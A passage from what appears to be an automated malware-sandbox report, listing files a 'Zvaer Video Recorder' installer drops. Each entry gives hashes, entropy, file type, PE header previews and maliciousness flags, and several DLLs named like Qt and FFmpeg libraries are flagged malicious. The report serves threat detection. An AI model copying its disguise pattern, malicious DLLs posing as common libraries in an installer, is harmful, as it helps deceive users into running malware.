SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\Qt5Xml.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
SHA-512:	FA06AB2B1AE116BC7AE93EA64D4C258A7149A23C0171C077F0919956101A22A59DD8E3F975C64073319842F01D6183253F637A0EDB514F0C02C9D88B0E65E6CF
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........u..j...j...j.......j.......j.. ....j.. ....j.. ....j.. ....j..i....j...j...j..i....j..i....j..i...j...j...j..i....j..Rich.j..................PE..d....kP_.........." .........,...............................................`............`..........................................t..._...........@..........t"...*..x....P.......;..T...........................`;...............................................text............................... ..`.rdata..............................@..@.data...............................@....pdata..t".......$..................@..@.rsrc........@....... ..............@..@.reloc.......P.......&..............@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\QtAVWidgets1.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\avdevice-58.dll (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-0I1NE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	data
Category:	dropped
Size (bytes):	3195899
Entropy (8bit):	6.610770854995303
Encrypted:	false
SSDEEP:	49152:RtxoBqogK3gzF14dHHw2mUDlcjGA6PqeB5ZBsBn9H:ZoqohgzrcHQ2melci7PDBKn9H
MD5:	4B87FBDCB2D165B2A979A918D2703A97
SHA1:	A384F86B2F0E66BA82E7A9AF3F21B349F74869A8
SHA-256:	F4D7EBFEF8C2A560CB12B260ADCE4785738B2DE0CBCFFFE40A268D035210F7AD
SHA-512:	AFC59ADBB66C27C0F4767E6ABCFCBE98ED4DA24551A9A134839020C9A00C17C33D58CC63D7EE775DADC8EA8A1785B45E93D7D9ACF2972C9C746DFEE458ED7FBE
Malicious:	false
Reputation:	unknown
Preview:	.Z......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...D..^........../...............................@...........................1.............................................D...........@...............................................................................l............................text...*........................... ..`.rdata..n/.......0..................@..@.data...8T... ...0... ..............@....rsrc................P..............@..@.pascal5......!..s...P!.............a.S.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-1D8SM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	331384
Entropy (8bit):	6.387255143196498
Encrypted:	false
SSDEEP:	6144:cOjmvCPMfXfCsXL0hq+SNcFxkqSj1ZBtp:fcC05tp
MD5:	C3424F2D3D26632C341EF2F542AEA36B
SHA1:	30640EBFF046085DBA3BD0877DE8A90886BED945
SHA-256:	FB0BD60A7D0178C62CFD14D53B40AD47E8F68DB68B95C625723CADC1CD3A1A3E
SHA-512:	72D9A32433DA38CFB752A67C5F903F3480871FCBD16DC5999FB970313079652CF7AEB481DA6097879B641A0E76271118C6E82406DD14C9C90C7460BA6A71BDC7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........O...........8...................................W............W.....W.....W.T.....<....W.....Rich...........................PE..d...z.P_.........." .........................................................@....../.....`..................................................*....... ...........1......x....0..8....N..T...................XP..(...PO...............................................text............................... ..`.rdata.............................@..@.data...............................@....pdata...1.......2..................@..@.rsrc........ ......................@..@.reloc..8....0......................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-3CSIJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	707354
Entropy (8bit):	6.47093934905224
Encrypted:	false
SSDEEP:	12288:D0QfKb7nH5lrPo37AzHTA63I0ihE4UEQrrNtIECORGv75ELAfXExy8b:nfKbT5lrPo37AzHTA63/cfU9IEU753fs
MD5:	AC024C9973B2EFD1B16F026C1711E42E
SHA1:	BAFC9953089DABEB9F79D96400184204BA76C6BE
SHA-256:	D6E8069497CE648D92E18BFF40471ED00E7E90B409D203E66D50449091303B0F
SHA-512:	37AF02E12C22926FAAED4D5DEE433749E61D43CD1644B485503BC8C8668FD38D2DCE98E472E419FD4B3A153E655ED9C97190351DF54C93990140C4F23C61A184
Malicious:	true
Reputation:	unknown
Preview:	MZP.....................@.......................InUn....................!..L.!..This program must be run under Win32..$7........................................................................................................................................PE..L....^B.................&...........1.......@....@..............................................@...............................%...`...>..........................................................................................................CODE.....$.......&.................. ..`DATA....<....@.....................@...BSS..........`.......<...................idata...%.......&...<..............@....tls.................b...................rdata...............b..............@..P.reloc..............................@..P.rsrc....>...`...>...d..............@..P.....................*..............@..P........................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-3V494.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	ASCII text
Category:	dropped
Size (bytes):	1297
Entropy (8bit):	5.115489615345492
Encrypted:	false
SSDEEP:	24:CbUneZXof9+bOOrXqFT09+JYrXqFTzl796432s4EOkUs8QROJ32s3yxsITf+3t1e:Cn3OOrXqJ07rXqJzr6432sv832s3EsI/
MD5:	AAF4009F5963B1B270D8C3E697EBE442
SHA1:	F5A44235094DA0B8B5992C6112CB8C356EF22B93
SHA-256:	3988CDCCB878675B4AB8C11F21EF7F6301451F59E2E2BF3F07E963D36C8E9767
SHA-512:	BC30F4C5F17E4F0CDE2CDD5C36A6EC28271569E18808E736186D42409564E3E6FFA8AD23842912C90F39CE6264A698714A434092778C74CBDE6C330DD3969109
Malicious:	false
Reputation:	unknown
Preview:	Copyright (c) 2013, Cisco Systems.All rights reserved...Redistribution and use in source and binary forms, with or without modification,.are permitted provided that the following conditions are met:..* Redistributions of source code must retain the above copyright notice, this. list of conditions and the following disclaimer...* Redistributions in binary form must reproduce the above copyright notice, this. list of conditions and the following disclaimer in the documentation and/or. other materials provided with the distribution...THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND.ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED.WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE.DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR.ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES.(INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERV

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4DGK2.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	31528
Entropy (8bit):	6.472533190412445
Encrypted:	false
SSDEEP:	384:R77JqjlI8icUYWhN5tWcS5gWZoMUekWi9pBj0HRN7RA5aWixHRN7osDhzlGs6N+E:R5D8icUlX5YYMLAWRAlypmPB
MD5:	7EE2B93A97485E6222C393BFA653926B
SHA1:	F4779CBFF235D21C386DA7276021F136CA233320
SHA-256:	BD57D8EEF0BC3A757C5CE5F486A547C79E12482AC8E694C47A6AB794AA745F1F
SHA-512:	4A4A3F56674B54683C88BD696AB5D02750E9A61F3089274FAA25E16A858805958E8BE1C391A257E73D889B1EEA30C173D0296509221D68A492A488D725C2B101
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........U..\4~.\4~.\4~...^4~.UL..X4~.Dz.[4~.D}.^4~.\4..v4~.D..Y4~.D{.O4~.D~.]4~.D..]4~.D\|.]4~.Rich\4~.........PE..d...W8.^.........." .........$............................................................`A.........................................>..L....?..x....p.......`..4....:..(A......p...@3..T............................3..0............0..0............................text...(........................... ..`.rdata.......0......................@..@.data........P.......,..............@....pdata..4....`.......0..............@..@.rsrc........p.......4..............@..@.reloc..p............8..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-4ENJ7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	590632
Entropy (8bit):	6.463330275333709
Encrypted:	false
SSDEEP:	12288:Mt8MRN4gE4x4iTqwTQa6IUqXF7XyxpypsdUDqNSfbQEKZm+jWodEEV3Ho/:MCMm9pyp35bQEKZm+jWodEExg
MD5:	E74CAF5D94AA08D046A44ED6ED84A3C5
SHA1:	ED9F696FA0902A7C16B257DA9B22FB605B72B12E
SHA-256:	3DEDEF76C87DB736C005D06A8E0D084204B836AF361A6BD2EE4651D9C45675E8
SHA-512:	D3128587BC8D62E4D53F8B5F95EB687BC117A6D5678C08DC6B59B72EA9178A7FD6AE8FAA9094D21977C406739D6C38A440134C1C1F6F9A44809E80D162723254
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......n..............w.(...#...<........../.....".................+.....g.+.....+...Rich*...................PE..d...R8.^.........." .....>..........p"....................................................`A........................................ m..h....G..,...............(;......(A......4.......T...............................0............P......Ti..@....................text....=.......>.................. ..`.rdata.......P.......B..............@..@.data....:...`..."...P..............@....pdata..(;.......<...r..............@..@.didat..h...........................@....rsrc...............................@..@.reloc..4...........................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-790KC.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	135016
Entropy (8bit):	5.674566205873397
Encrypted:	false
SSDEEP:	1536:GZU6fX6Kj693r/67BhRpsGmQhRJRVW8/mpI4Sx8K5aqEkmgcs8MYQJaqEkmgcs8o:GZU6qz3ERpNzhRvVoVDe1r0+
MD5:	61CF5C843D8A31162B59C074AE74A76E
SHA1:	123E0EACE3DD60FEF94DC96215468D22434C50FB
SHA-256:	F51BB73407C96E4A2E3016A96A870FA4B422A8B1851477048D122CCC2D523687
SHA-512:	AA1C3175D9A0E11341B8A2F1C5372E99E1164169C8FC71727A0FE6655878782E921FA046D6A83CA2E2C67DAE0609704442EBCFDBE985281F02DDB7E288DC718D
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................2.&......<......>..................qY/....qY1....qY.....8<............8......8=.....8?....Rich............................PE..d...F..].........." ......................................................... ......S.....`.............................................d...............................h!......\...`...8...............................p............................................text............................... ..`.rdata..t...........................@..@.data...a...........................@....pdata..............................@..@.idata..8(.........................@..@.reloc..............................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-7F9NL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	869224
Entropy (8bit):	6.632387605957213
Encrypted:	false
SSDEEP:	24576:DJf34ppw4hjg401r+iTy2mmzuF3SJciti0ZIj8UoJwCR:Dl3ypw4yN/RiF3SJdO8xJv
MD5:	DAA904CE63B0A290111AED5E843B9368
SHA1:	6642AD5C2622D756EB3500E7C0420E9DA7A16BB1
SHA-256:	471BBC3FA0A98869F6791E0D1A55B38F5E360842A7CC219A6FF26030E62DBB1B
SHA-512:	CBFD06523F1855AAF4BE2D33EB3A3A324C8D7AF4871B314AC2C165FD17F8DA6CD2F465E9405412282AAC1ED247B811A4A73D91069A324A5AEC531253AE3A4D0B
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......t.9d0.W70.W70.W7...73.W70.V7m.W7.M.71.W7v..7..W7v..7..W7v..7$.W7.s.7e.W70.W7'.W7.s.71.W7=..71.W7.s.71.W7Rich0.W7........PE..d......].........." .....8...........\...............................................$....`.................................................\|...(....`..........x]..."..h!...p.......R..8...............................p............P..H............................text...7+.......,.................. ..`.rodata......@.......0.............. ..`.rdata..FP...P...R...<..............@..@.data... K.......&..................@....pdata..x].......^..................@..@.rsrc........`......................@..@.reloc.......p......................@..B................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-B5CET.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	660128
Entropy (8bit):	6.339798513733826
Encrypted:	false
SSDEEP:	12288:N2fus43uu43Ry4GHlT4xH2K+M+/i+WSpY+7YOzCaK9A3gS2EKZm+GWodEEwnyh:muJzCaK9AB2EKZm+GWodEEwnyh
MD5:	46060C35F697281BC5E7337AEE3722B1
SHA1:	D0164C041707F297A73ABB9EA854111953E99CF1
SHA-256:	2ABF0AAB5A3C5AE9424B64E9D19D9D6D4AEBC67814D7E92E4927B9798FEF2848
SHA-512:	2CF2ED4D45C79A6E6CEBFA3D332710A97F5CF0251DC194EEC8C54EA0CB85762FD19822610021CCD6A6904E80AFAE1590A83AF1FA45152F28CA56D862A3473F0A
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........;..h..h..h..[h..h..h..h..Mh..hIAWh..h..Oh..h..qh..h..ph..h..uh..h..Lh..h..Kh..h..Nh..hRich..h................PE..d.....OR.........." .....@...................................................`......a.....`.........................................pU.. ....2..<....@...........G.......>...P.......X..................................p............P...............................text....>.......@.................. ..`.rdata.......P.......D..............@..@.data........P...8...B..............@....pdata...G.......H...z..............@..@.rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-C3O1M.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	20840
Entropy (8bit):	6.3244920295043645
Encrypted:	false
SSDEEP:	384:rk3cFbdBtZHvagGFsGfZyGmGovy8ZpHEi+:rk0vHy9oyiRM
MD5:	D2BC90D6AF120A0643AD5DC5F3CE8D43
SHA1:	419C3246B08125754CCBB4323DD823F8DA0548CB
SHA-256:	BDED78571A2E60B3324AB9B4D3DDB6DE12FC08CB4BBE6A582A2C2292AA17CCE6
SHA-512:	F34C90E44F473A8CD62B75B6D531FDD47AD132A3F1BCE7AD5C0DDF30C61A2454BA214AA2B6CD50C2A1B6CD3AC85F2D9989775376A400D34EBBD2EFAB0FBECC7A
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......ovA{+./(+./(+./("o.(/./(yb.))./(yb)%./(yb+)#./(yb,)(./(?\|.)../(+..(../(.b)./(.b/)./(.b.(./(.b-)./(Rich+./(........................PE..d....z{c.........." ......... .......................................................7....`..........................................8..t...T;..x....p.......`.......0..h!......<....1...............................2..8............0..(............................text............................... ..`.rdata.......0......................@..@.data........P.......(..............@....pdata.......`.......*..............@..@.rsrc........p.......,..............@..@.reloc..<...........................@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-CASGE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	963232
Entropy (8bit):	6.634408584960502
Encrypted:	false
SSDEEP:	24576:FkZ+EUPoH5KTcAxt/qvRQdxQxO61kCS9mmWymzVPD:FkMAlM8ixQI5C6wl
MD5:	9C861C079DD81762B6C54E37597B7712
SHA1:	62CB65A1D79E2C5ADA0C7BFC04C18693567C90D0
SHA-256:	AD32240BB1DE55C3F5FCAC8789F583A17057F9D14914C538C2A7A5AD346B341C
SHA-512:	3AA770D6FBA8590FDCF5D263CB2B3D2FAE859E29D31AD482FBFBD700BCD602A013AC2568475999EF9FB06AE666D203D97F42181EC7344CBA023A8534FB13ACB7
Malicious:	false
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........Ck.."..".."..D...".."..-"...s..$ ...s.."...s.."...s.. "...s.."...s.."...s.."..Rich."..........................PE..d.....OR.........." .....h...:.......)..............................................].....`.................................................@...(............@...s...t...>......8...p................................2..p............................................text....g.......h.................. ..`.rdata...8.......:...l..............@..@.data...hu.......D..................@....pdata...s...@...t..................@..@.rsrc................^..............@..@.reloc..8............b..............@..B........................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-DFDEG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	397672
Entropy (8bit):	6.4894894939696846
Encrypted:	false
SSDEEP:	12288:W8c9NNNNNNBgjcQFg7jaV95D3+wxech2KJ:tc9NNNNNN+jcQg7jMnD/xech2o
MD5:	B9F3C911728B17FE49BB217D799FCC1A
SHA1:	26F4A963E2F43F46323D8610FEC5E8CC8C4A8A16
SHA-256:	9CEB41F04B48CF7B419C95D03E227F593836D74A04625C0AD5AD2877D7229B65
SHA-512:	0A50270432E6E476D5B4DAF7D9D45053F821BEF02F1872EF598A9E66B2E6B75AE4A89AB97AE175C5143CE3C993D7A354F6389EB5A8BDDBFDE59522103535C403
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........v.{.%.{.%.{.%.=%.{.%.?%.{.%..%.{.%..%.{.%...%.{.%`.+%.{.%.{.%.{.%..<%.{.%.);%.{.%.{w%.{.%..>%.{.%Rich.{.%........................PE..d......].........." .....8..........................................................g,....`.........................................@...87..x...<.... ...........%......h!...........................................k..p............P...............................text...;6.......8.................. ..`.rdata.......P.......<..............@..@.data...............................@....pdata...%.......&..................@..@_RDATA..P/.......0..................@..@.rsrc........ ......................@..@.reloc..............................@..B................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-FUCPU.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	320120
Entropy (8bit):	6.398399631689542
Encrypted:	false
SSDEEP:	6144:bSU6+JAfisltPzYzrIybvaEezwMckNI+STEDv4nk3ad04ZqhKTrg+COv:brAltbYzsOvaWJ
MD5:	DB19F6E0A1BB5DB1C8D87C3FE0891136
SHA1:	3B2DAB478A8268000EF5E4474D52CB71F9EB615E
SHA-256:	7623B596CFD989413FEA2FE355607B029EF8E64067275CBF81863688128738B0
SHA-512:	B328DC6D1ADE3061894BC5C50F437B732190DE3CEA6D2CDC147A9A8193EE73221937FBA24209B66226D5E4B05DFFF5A79DB8B134373D1218605BCBA6EE82A6B3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......~@hB:!..:!..:!..3Y..2!...L..8!..aI..8!...L..,!...L..2!...L..9!...O..=!..:!..."...O../!...O..;!...O..;!..:!..;!...O..;!..Rich:!..........................PE..d....lP_.........." .....\...v......$_...................................................`..........................................5...........................,......x.......\|...P...T.......................(....................p..p............................text....[.......\.................. ..`.rdata..."...p...$...`..............@..@.data...8...........................@....pdata...,..........................@..@.rsrc...............................@..@.reloc..\|...........................@..B........................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-K7SUJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	469624
Entropy (8bit):	6.027128925039679
Encrypted:	false
SSDEEP:	6144:g814pr+wMrppkALmug7u7ozC/B4OvCH9UYHeAeBC:u9+wAkAS2j/B4BryC
MD5:	820FFF478DC5F2C2D5F03A5DB9187FBC
SHA1:	BD58AA8596345C837E1743617452EC7D73013F3A
SHA-256:	3DC976E86D64881E0F37A54B5A04E903235E94D858889B1261527F0048CFBC03
SHA-512:	1476919C5C133ACA519B9E9BE2684A85C7E669FA43942204ACDD9EC4A40577F966AD17D30A7EBD3A97A871E71178F0058966410A934822B96F0B2D7120AA43CB
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......m>W.)_9.)_9.)_9. '../_9..28.+_9..2<.?_9..2=.!_9..2:.*_9.r7=.(_9.r78.%_9..18.,_9.)_8.._9..1<.&_9..19.(_9..1.(_9.)_..(_9..1;.(_9.Rich)_9.........PE..d...G.P_.........." .................................................................[....`.........................................0d...:...................p...K......x.......h....B..T...................8D..(...0C...............0...............................text...t........................... ..`.rdata.......0....... ..............@..@.data..............................@....pdata...K...p...L..................@..@.rsrc...............................@..@.reloc..h...........................@..B................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-LVG3G.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	363880
Entropy (8bit):	6.3947346615222305
Encrypted:	false
SSDEEP:	6144:lieS4N0DdxBa72yNQuqped6c7Bv5ebr+U2pyQqsa3a8g+QTW:UeSyCVaiyNQAd6cV5K+Jp37W
MD5:	460B0576549FFD1F55D717BA6E265A05
SHA1:	65AB7E2109658102678C122D7DE603E64DCE7CC5
SHA-256:	AAB56C21B6CEC7065882A750BECB4526B4CB5815A4AC002C2594F84FB0F5955F
SHA-512:	666B16FF72CB847B8D141B0110BBB45AAE67D9BB01E2D6B48C7BDA61C5DC3126CCBC72627C1B93EC23B87E9427C39DC890F1E0A72E5077DC0071E5FEA1B1E3A3
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$....................7!.....;.....9...............>.;...Vh-.......>.......>.:....=...>.8...Rich....................PE..d.....%Y.........." .........d.......................................................L....`.........................................@........................P...7...l..h!......8.......................................p............ ...............................text...K........................... ..`.rdata....... ......................@..@.data...@....@.......(..............@....pdata...7...P...8...*..............@..@.rsrc................b..............@..@.reloc..8............h..............@..B........................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-O7QHE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	248680
Entropy (8bit):	4.820760286569876
Encrypted:	false
SSDEEP:	6144:k6bBPHJr5r5C9Fg8Imnw5bR3Kklo7rbQox:kz
MD5:	60BAB1D197D91828ED25099968F7D8C5
SHA1:	FC8E1B3C2C98727D2D81A8E85420FA80EE655F19
SHA-256:	F682B5AA0AF3CEE93F890EC6717F94C1AC9B75EBFF512955C6531E7CEE05D196
SHA-512:	5B9CBB11E3FCB00FD76F595520DA4610FA37B0F1227D016D77350909846BA33AF9A32B650BB1CE9A73549DB5BF190C2205E28223D1745191B2424F6DC7327B38
Malicious:	true
Reputation:	unknown
Preview:	MZ......................@...................................(...........!..L.!This program cannot be run in DOS mode....$.........e..6..6..6..`6..6...7..6...7..6...7..6...7..62..7..6J..7..62..7..6l..7..6..6...6l..7..6l..7..6l..6..6.d6..6l..7..6Rich..6........................PE..d...3N2c.........." ................................................................U....`..........................................&...0..(W..,.... ..................h!..............T...........................`...8............................................text...+........................... ..`.rdata..v'.......(..................@..@.data...x%....... ..................@....pdata..............................@..@.rsrc........ ......................@..@.reloc..............................@..B........................................................................................................................................................................................................

C:\Users\user\AppData\Local\Zvaer Video Recorder\is-RQFDB.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-CMND8.tmp\jNWxa0Pc_jGneI3LjcIqUJSt.tmp
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	213112
Entropy (8bit):	6.331143352918189
Encrypted:	false
SSDEEP:	3072:V7rtKxzN2HVkkNUq3uUw8SWrBEcsGhLec956+48G+ikgyOzk1kLrTzhvt3GyY:Vr2N253eUw81rBXVevrH+mk12rTlS
MD5:	63D91B407A350DA5CE19B5D79924B1F4
SHA1:	45886A4018B60A5EAB7D4B743F4DF2A9A4318EDC
SHA-256:	22B626313A535C85CE6A097571C53A6E6678A9D4BC5D0DB9F81660ADC7ED366E
